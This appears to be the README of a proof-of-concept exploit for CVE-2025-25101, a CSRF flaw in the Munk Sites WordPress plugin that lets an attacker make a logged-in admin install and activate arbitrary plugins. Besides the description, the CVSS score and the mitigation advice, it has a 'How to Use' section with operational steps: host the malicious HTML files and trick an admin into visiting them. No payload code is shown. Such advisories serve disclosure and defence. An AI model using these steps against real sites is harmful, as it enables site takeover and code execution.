## ? Overview
**CVE-2025-25101** is a **Cross-Site Request Forgery (CSRF)** vulnerability in the **MetricThemes Munk Sites** plugin for WordPress (versions ? **1.0.7**).
This vulnerability allows an **unauthenticated attacker** to **trick an admin into installing and activating arbitrary plugins**, potentially leading to **Remote Code Execution (RCE)** or **website compromise**.
## ? Affected Versions
- **Munk Sites Plugin** `<= 1.0.7`
- **WordPress** `Any version where the plugin is active`
---
## ?? Security Rating (CVSS Score)
| Score | Severity | Version | Vector String |
|--------|----------|---------|--------------|
| **9.6** | ? **CRITICAL** | 3.1 | `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` |
## ? Exploit Description
### ?? How the Vulnerability Works:
The **CSRF flaw** in the **Munk Sites** plugin allows an attacker to force a logged-in **WordPress admin** to install and activate any WordPress plugin **without their consent**.
This is done by exploiting an **unprotected `admin-ajax.php` request** that lacks CSRF token verification.
### ? Exploit Workflow:
1. **The attacker crafts a malicious webpage containing the CSRF payload**.
2. **The victim (WordPress admin) visits the attacker's webpage**.
3. **The exploit silently sends requests to WordPress to install and activate an arbitrary plugin**.
4. **The plugin is installed and activated without any admin interaction**.

## ? How to Use
1. **Host the malicious HTML files (`install.html` and `activate.html`) on an attacker-controlled server.**
2. **Social engineer a WordPress admin to visit `install.html`.**
3. **Once the plugin is installed, trick them into visiting `activate.html`.**
4. **The `hello-world` plugin will be installed and activated without admin consent!**
---
## ? Mitigation
### ? How to Protect Your WordPress Site:
- **Upgrade to the latest version of the Munk Sites plugin** (if a patch is available).
- **Use a WordPress security plugin like Wordfence or Sucuri** to block CSRF attempts.
- **Restrict access to `admin-ajax.php`** using security rules in `.htaccess` or Nginx config.
- **Ensure that only authenticated and authorized users can install or activate plugins.**
- **Implement CSRF protection using `wp_nonce_field()` and `check_admin_referer()`.**
